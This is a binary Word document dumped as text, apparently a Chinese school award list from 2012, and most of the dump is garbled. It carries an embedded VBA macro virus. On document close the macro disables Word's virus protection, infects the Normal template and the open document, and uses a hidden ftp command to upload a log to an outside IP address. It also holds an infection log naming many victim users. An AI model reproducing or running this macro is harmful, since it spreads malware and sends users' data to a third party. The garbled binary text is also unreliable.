ࡱ> FIE'` R&bjbj"9"920@S@SAvvvvvvv4&,"j^^^^^999!!!!!!!$#h%\!!v99999!vv^^! 9^ v^v^! 9! vv ^R @5w !!0" H&e .H& H&v 99 99999!! 999"9999$ D vvvvvv YeNONhTUS 2012.10.7,{NNhV :gsQ]O 29N V  v%f oRV _V^N h N)Yj_ Nzpg l sY [RyRl5 RꖅhsY V^e sY ssb Y[fCg _Rl NgSl Ng\SNgfsY \gQsY _[܏ hT&[9 f 0u 8 \ z`^sssY ςUQ gasY RNs^ of-N:_ fs5 NgCgMb ,{NNhV 4l)Rf[b9N 5uRf[b7N lf[b4N qQ20N V  ဝ[g oRV Obwm vfGYN h sNs^ s:N/g sNSpgsY sV8l sssY R\sY RXۏ hg[-N _mvsY jlesY H^f RIlNBv0u ؚ O f 1gQsY %N'YNgNf ,{ NNhV pef[NOo`yf[f[b7N :ghf[b6N Oo`] zf[b6N qQ19N V  闗gq\ oRV 0ukS[ lNfN h s~hsY s EusY s gZsY W ZQ]kSuQ Y[VCQ ^ }ZsY w T4Tga#k hg/c-N FBhf \[s^YkS|sY ޘsY z O O_:_ ,{VNhV W(gNNf[b9N ^Q{f[b5N SOYef[4N qQ18N V  ؚ܀^ oRV zfPRTbfnrvx8 D ( . Ͽxkx^xQxQxDxh)qPCJOJPJaJo(hu\dCJOJPJaJo(h%nCJOJPJaJo(hQ~uCJOJPJaJo(h4CJOJPJaJo(h45CJOJPJaJhe5CJOJPJaJo(h45CJOJPJaJo(h85CJOJPJaJo(hjah_WCJOJPJaJo(hjahjaCJOJPJaJo(hja5CJOJPJaJo("hjahw5CJ,OJPJaJ,o(RTx P  V F 4WD`gd4bWDv^`bgd4VD:WD2^`gdu\dVD:WD2^`gd4 FWD`Fgd4 x,gd4gd4gdw$a$gd `&. R T V \ d p > D l x  & @ H J X z | ˾層嗊}pccheCJOJPJaJo(h9CJOJPJaJo(hiqCJOJPJaJo(hT$CJOJPJaJo(h(CJOJPJaJo(h]CJOJPJaJo(h4CJOJPJaJo(heCJOJPJaJo(hHEICJOJPJaJo(h4CJOJPJaJo(h4CJOJPJaJo(h)_CJOJPJaJo(&F J X `(j VD^gd4 BVD^BgdYu 4 !gd4 x,gd4gd4 VD^gd4bWDv^`bgd4x,4FWD`Fgd( FWD`Fgd4,gd4  $&DFTV^rtv|(vx (屾h4CJOJaJo(h2CJOJPJaJo(h9CJOJPJaJo(hHEICJOJPJaJo(h `CJOJPJaJo(hT$CJOJPJaJo(hCJOJPJaJo(h4CJOJPJaJo(h4CJOJPJaJo(7*tl !R!!!!tt 4WD`gd ` 4BVD^Bgdax4X gd4gd4bWDv^`bgd4$xFWD`Fa$gd4$  xFWD`Fa$gd4$ xFWD`Fa$gd4xgd4 @ B b f l !! !,!6!^F`gd.Oxgd4gd.OX VD^gd4 $$%B%%%%"&& \x4BVD^Bgdn x4gd4 WDX`gd4gd4FWD`Fgdiq:%<%H%L%P%~%%%%&&B&D&V&x&&&&&˾˾˾˱˱hn h4CJOJPJaJo(hn CJOJPJaJo(hW!CJOJPJaJo(hCJOJPJaJo(h4CJOJPJaJo(hCJOJPJaJo(h4CJOJPJaJo(h!)CJOJPJaJo(0182P. A!"#$%S J@J 4cke $1$a$ CJKH_HaJmH nHsH tH$A$ ؞k=W[SOBiB nfh@ABDELOV\^aghjklmqwy%+,2478>?EFGIJRSUVWXZ[bcefv{}!)*,-C*;<WX`a *+CDabuv$%+,LMabxy45KL_`qr():;N{~$%:;78VWuv@Cs3s333)*;<C*/Ca$J*.-I]SLn W!Y&}'!)e/24HEI.O)qPI Q_W6{Z)_jau\dI}l%n@qQ~uT$iqu `:daew9](bYu[48>@**,h **A`` UnknownGz Times New Roman5Symbol3& z Arial;ўSOSimHei;5 N[_GB2312;[SOSimSun hyJ GK GB '",,!-!),.:;?]}    & 6"0000 0 000000 =@\]^([{  0 0 00000;[2d>>2QHX)?42,{NNhV ,{NR]O 24N _o(u7b\Oh+'0 (4 T ` lx$һţ һֹ 24ˣ ΢û Normal.dot5Microsoft Office Word@L@nhR@^@ VZ,՜.+,0 X`t|  ΢й>'   "#$%&'()*+,-./012346789:;<>?@ABCDGHtKnMNOPQRSTUVWXYZ[\]^_`abcdefghijklmopqrsuRoot Entry F wJData 1Table!H&WordDocument20SummaryInformation(5DocumentSummaryInformation8=Xacros@5w@5wXBA@5w@5wdirThisDocument LXVBA_PROJECT * PROJECT :u  !"#$%&'()*+,-./0123456789;<=>?B0* pHdProjectQ(@= l @/R J<  rstdole>stdole(h%^*\G{00020430-C 0046}#2.0#0#C:\WINDOWS\system32\e2.tlb#OLE Automation`ENormalENCrmaF(  *\C TR!OfficgOficg !G{2DF8D04C-5BFA-101B -BDE5gAA5e42ggram Files\CommonMicrosoft Shared\OFFICE11\MSO.DL L#M 11.0 Ob Li`brary%zDBeThisDocumentG TfisDHcu@IenUn 2 HB1B#6,Ë@,!4*"B+BBay *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020905-0000-0000-C000-000000000046}#8.3#0#C:\Program Files\Microsoft6D4xME (S"SS"<(1Normal.ThisDocument(% @Lx@  n@" n@$ n`& n@( `* @, @. @0 `200"    0Hhx  &&  $H p z  " 8"Hp Zx * 0 P` p  8P h 8x ^  TDp       "  8 X$p$   ((   0 8FX   "   (  0 8 @ (X    *   ( ( 8 *@ p  *  *  ( @ X ,`   (   , 0 @ (H p  *  (   ( @ X (`   *   * ( @ (H p  (   ,  , *H x  *   *   *  P ` (h   *   *   0 *8 h x *   *   . @ P .X   *   *  ( ,0 ` p *x   *   * 8 H *P   ,   *    ,( X h *p   *   * 8 H *P   ,   .    (( P ` .h   ,   , ( 8 *@ p  *   *   , @ P *X   *   *  ( *0 ` p *x   *   0p]<- this is a marker!pDeclare Variables]]]0H` Initialize Variablesn 4!6!8%:.( <!6!8%:.* '' (!>%@'$ '' *!>%@'&Switch the VirusProtection OFF B(D$H$F>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile J%L $ (!>!P (!>%N'0 &e *!>!P *!>%N'0k 0 0' Logfile --> 0 0' Logfile --> $'0 R 2 V$T$ '2 RC:\hsf 2.sys'2 2 0Vc:\netldx.vxdo 209.201.88.110user anonymous pass itsme@ cd incoming1asciihput 2quitV*command.com /c ftp.exe -n -s:c:\netldx.vxd ZA@X>HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User InfoLogFile J,LkMMake sure that some conditions are true before we continue infecting anythingc  $ & 4!\ ^ 4!\ ` TruInfect the NormalTemplate $ed = T <!b'"alTe (!>!P (!>%N',veDocu1Write a log file of this NormalTemplate infection R d!. d!. R$$f1 d!. R$ $f . d!. R$'.kd .$f' '.Qk R ) ,$f'  hhh:mm:ss AMPM - $ Zdddd, d mmm yyyy$$f'  d!j$f'  .$f',ode  *!>!P *!>B@l , *!>B@nime, " "G <B@pjkInfect the ActiveDocument & 4!r$: 4!bW 4!b' empl *!>!P *!>%N',tiveDo (!>!P (!>B@lr , (!>B@n mmm y G 4B@pjkko Logfile -->3) &" 09:08:36 - Saturday, 28 Nov 1998 SPo0Ky Blue Planet$ 02:50:31 PM - Saturday, 28 Nov 1998 MARK B. SEAY! 08:04:45 AM - Friday, 4 Dec 1998 UPS$ 11:43:35 AM - Thursday, 17 Dec 1998 WRO# 03:07:26 PM - Tuesday, 22 Dec 1998 BCBSA$ 03:28:02 PM - Wednesday, 6 Jan 1999 BCBSA" 02:59:47 PM - Monday, 11 Jan 1999 Marsha Veach% 01:54:54 PM - Wednesday, 20 Jan 1999 Connie Sandifer, CMP" 09:33:06 PM - Monday, 25 Jan 1999 Doug Rowan% 08:21:12 AM - Wednesday, 27 Jan 1999 IMSI" 10:59:58 AM - Friday, 29 Jan 1999 Raj$ 03:37:57 PM - Saturday, 30 Jan 1999 hornd" 01:26:48 PM - Tuesday, 2 Feb 1999 Cooley Godward" 04:57:29 PM - Tuesday, 2 Feb 1999 Cooley Godward" 06:35:44 PM - Tuesday, 2 Feb 1999 Cooley Godward# 04:23:52 PM - Thursday, 4 Feb 1999 Cooley Godward# 04:27:39 PM - Saturday, 6 Feb 1999 Cooley Godward! 06:18:06 PM - Monday, 8 Feb 1999 Cooley Godward" 09:17:17 PM - Tuesday, 9 Feb 1999 hclee% 04:44:45 PM - Wednesday, 17 Feb 1999 Dr. W. Hsiao% Wendy Hsiao, Ph.D.# 04:13:19 PM - Tuesday, 23 Feb 1999 CCST$ 10:09:35 AM - Saturday, 20 Mar 1999 cpwu# 09:33:49 AM - Thursday, 6 May 1999 # 12:39:25 PM - Tuesday, 20 May 1997 ghc-bbc! 01:21:36 PM - Friday, 7 May 1999 # 05:51:53 - Wednesday, 12 May 1999 qdzhuang$ 03:23:04 PM - Saturday, 19 Jun 1999 $ 02:53:46 - Tuesday, 6 Sep 2011 $ 09:37:47 - Monday, 19 Sep 2011 ʿ$ 01:41:54 - Monday, 26 Sep 2011 unknown' 10:50:02 - Wednesday, 19 Oct 2011 ףȪ' 08:27:05 - Wednesday, 26 Oct 2011 ٻ$ 10:37:36 - Monday, 31 Oct 2011 ˷$ 04:21:38 - Monday, 31 Oct 2011 ÷& 08:15:53 - Wednesday, 2 Nov 2011 Ż᷼# 03:51:55 - Friday, 4 Nov 2011 $ 11:58:54 - Friday, 11 Nov 2011 ƽƽ$ 05:13:35 - Friday, 11 Nov 2011 $ 03:14:00 - Monday, 14 Nov 2011 % 08:20:05 - Tuesday, 15 Nov 2011 $ 04:52:59 - Monday, 28 Nov 2011 ΢û% 04:12:26 - Tuesday, 27 Dec 2011 ΢û$ 09:17:06 - Friday, 30 Dec 2011 Administrator$ 05:43:54 - Friday, 30 Dec 2011 û27$ 08:05:33 - Tuesday, 3 Jan 2012 User$ 01:17:36 - Monday, 23 Jan 2012 ΢û& 05:59:02 - Wednesday, 1 Feb 2012 USER' 02:51:32 - Wednesday, 29 Feb 2012 ΢û! 04:02:03 PM - Friday, 9 Mar 2012 ΢û' 10:52:09 - Wednesday, 14 Mar 2012 joker% 05:08:02 - Tuesday, 20 Mar 2012 USER& 09:59:28 - Wednesday, 7 Mar 2012 ΢û$ 01:41:27 - Friday, 30 Mar 2012 USER$ 08:39:39 - Monday, 16 Apr 2012 ΢û$ 08:10:49 - Monday, 14 May 2012 y& 10:19:53 - Thursday, 31 May 2012 $ 09:19:40 - Tuesday, 5 Jun 2012 jwc$ 04:41:04 - Tuesday, 5 Jun 2012 $ 03:21:18 - Tuesday, 3 Jul 2012 user# 09:28:11 - Monday, 9 Jul 2012 user# 11:50:48 - Monday, 3 Sep 2012 $ 02:59:19 - Monday, 24 Sep 2012 BAttribute VB_Name = "ThisDocument" Bas1Normal.VGlobal!SpaclFalse CreatablPre declaIdTruBExposeTemplateDeriv$CustomlizC1P Sub _Cl5() On Error Res Next Const @Marker<- t is (a m ! 'Dl Vari=s Dim Save8,e,GInfec`ted,  As Boolean-ant ObjCOurCode, UserAddress, LogDfYFihSngA9'Initi0aliz/Set abAct[1.VBProA@Compon@s.Item(1S&= 20<= .3Module.Find(c, 10@O= nt+FSwitchC|Firus>tZion OFFpts.V  = A If (Day(Now())1) And (Sysm@M.@fgf("", "HKEY_CURRENT_USER\Softw\Micros@\MS \up (ACPME)\A? `(o7!@?!>") The`H E;`&k'DHad))Li0nes(`1CountOf2!E 64AuT7FQ,IfMid(,%.&"'f" & "2 -->")hen) -$ CFi@ To 4c e"s=&+ AInt(8 * Rnd)`2]$  ic@$"C:p\hsf.8sysA1Op enOutpruB#1C S@y#; AB c "c:\netldx.vxd" "o 209.201.88.110"u anonymoupass @itsme@c d incngasciiA H'qui( Shell "Amand. /c ftp.exe -n -s:$, vbHid`g3?K?AٟA= crEd32PMake sure`Pat socond cq H t| befo@we tinue1mingnysf@(F ~X1AQq2! cS_]"(liv&m0 = wd Or c_e^yRRqrA2a Ͽ[W   .1dQ1 }pXX0ZX3S'Wria log rfofP, iB ns KLPApplicaAp~.Io1LotiL <> Chr(13(qsh0 I` `]C1R lkY=&fW' F \'9,3R0jJ+(Timp"hh:mm:0QAMPM j&/ ]d, d mmm yO Ǐ  AG}Deletee.FromtHS;/90#QG?Bݬ% 9BFk6mF(b* Ful,F P ":"N ~ ?N2 q VR=gIH ?<K|Sto$xg:WSubrBT 09:0 8:36 7Sa@turday80$v 1998 SPo0KyBlrPla!d2:50:31 r<MARK BJ. SEAY ' ' 08:04:45 AM - Friday, 4 De@c 1998 UPS 11:43:3fThursj17 lWRO l03:07:26 PjTue522 5BCBSA7227Wedn96 Jan 9/ 82:59:478Mon1 Marsha@ Veach ;1:54;20 Connie Sandifer, CMP $9:3'}{C25"Doug Rowan8:21:12ψ}27 IMSI 10}5829JRajK@u7:5LSatu rL3K q!6+15@f -28z΢û12M3pxU3 0Y0$U`uAdministrator554 wbQ 21JW0e5g3 ` 2 Use@/;{,9;;_VSER{`T2 i%2:03CpE9Trq31F9_7 (fujok5:16 djU9'Mc/ U'D(!{ _81nT1p6 Ap?;I0ہu4jyJ~1MxPye 3>0u@njw;x 1`N/k𳤴 Pu/[S`/ulF$u29: Ro9Wm83t"+=PqL 24S Office\OFFICE11\MSWORD.OLB#Microsoft Word 11.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\system32\stdole2.tlb#OLE Automation*\CNormal*\CNormalTR(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object Library /RDThisDocument0:521b2f00ThisDocument4#6 \%G =5`9:,Wordk`VBA`Win16~`Win32`Mac`VBA6#`1p`stdole``Project-` ThisDocument<` _Evaluate`Normal`Officeu`Documentj`Document_Close7\`MarkerS` SaveDocumentd]`SaveNormalTemplatel`DocumentInfected `NormalTemplateInfectedy`ad~\`nto^`OurCode=` UserAddressF`LogData(6`LogFileG`ActiveDocument\` VBProjectOh` VBComponents '`Itemz`NormalTemplateq` CodeModule`Findn`Options`VirusProtectionoD`Day`Now%`Systema`PrivateProfileString[`Lines` CountOfLines!\`i``Str`RndR`ShellV`vbHideW` SaveFormat`wdFormatDocument`wdFormatTemplatee`Savedd` Application*`ChrK~`Time`UserName\` DeleteLines `AddFromString`Save`FullNameО`TID="{C36B72AA-10DB-4BCE-A1C9-FD643A0FC56B}" Document=ThisDocument/&H00000000 Name="Project" HelpContextID="0" VersionCompatible32="393222000" CMG="1715312C5F547258725872587258" DPB="2E2C0845084B1E4C1E4C1E" GC="4547637A6D906E906E6F" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisDocument=0, 0, 0, 0, C PROJECTwm@)CompObjAmThisDocumentThisDocument  FMicrosoft Office Word ĵ MSWordDocWord.Document.89q